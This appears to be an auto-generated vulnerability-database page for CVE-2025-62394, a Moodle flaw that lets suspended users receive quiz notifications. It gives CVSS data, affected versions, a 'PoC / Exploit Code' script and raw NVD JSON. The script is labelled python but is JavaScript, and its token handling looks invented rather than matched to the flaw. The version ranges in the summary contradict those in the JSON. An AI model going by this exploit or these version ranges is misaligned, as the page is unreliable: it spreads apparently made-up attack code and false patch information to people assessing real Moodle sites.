Security Vulnerability Report
中文
CVE-2025-62394 CVSS 4.3 MEDIUM

CVE-2025-62394

Published: 2025-10-23 12:15:32
Last Modified: 2025-11-14 19:40:17

Description

Moodle failed to verify enrolment status correctly when sending quiz notifications. As a result, suspended or inactive users might receive quiz-related messages, leaking limited course information.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
Moodle LMS 4.1.x < 4.1.30
Moodle LMS 4.5.x < 4.5.6
Moodle LMS 5.0.x < 5.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62394 PoC - 信息泄露验证 // 此PoC验证暂停用户仍能接收测验通知 const axios = require('axios'); async function verifyCVE202562394() { const targetUrl = 'https://vulnerable-moodle-site.com'; const suspendedUserToken = 'USER_SUSPENDED_TOKEN'; // 步骤1: 尝试用暂停用户身份登录 const loginResponse = await axios.post(`${targetUrl}/login/index.php`, { username: 'suspended_user', password: 'password' }); // 步骤2: 检查是否能获取quiz通知 const quizNotifications = await axios.get( `${targetUrl}/lib/ajax/service.php?sesskey=${suspendedUserToken}&info=core_message_get_messages`, { headers: { 'Authorization': `Bearer ${suspendedUserToken}` } } ); // 步骤3: 检查是否收到课程信息泄露的通知 const leakedData = quizNotifications.data.filter(msg => msg.notification && msg.fullmessage.includes('quiz') ); console.log('Leaked course information:', leakedData); return leakedData.length > 0; } // 漏洞利用条件: // 1. 攻击者拥有或获取一个Moodle账户 // 2. 该账户被暂停但未删除 // 3. 系统存在已发布的quiz verifyCVE202562394();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62394", "sourceIdentifier": "[email protected]", "published": "2025-10-23T12:15:31.583", "lastModified": "2025-11-14T19:40:17.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Moodle failed to verify enrolment status correctly when sending quiz notifications. As a result, suspended or inactive users might receive quiz-related messages, leaking limited course information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.7", "matchCriteriaId": "5414437D-2D9C-4565-853F-EAF761F52E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "672DBB86-D5A8-41B6-B6F3-8E323E9C21F0"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-62394", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2404427", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}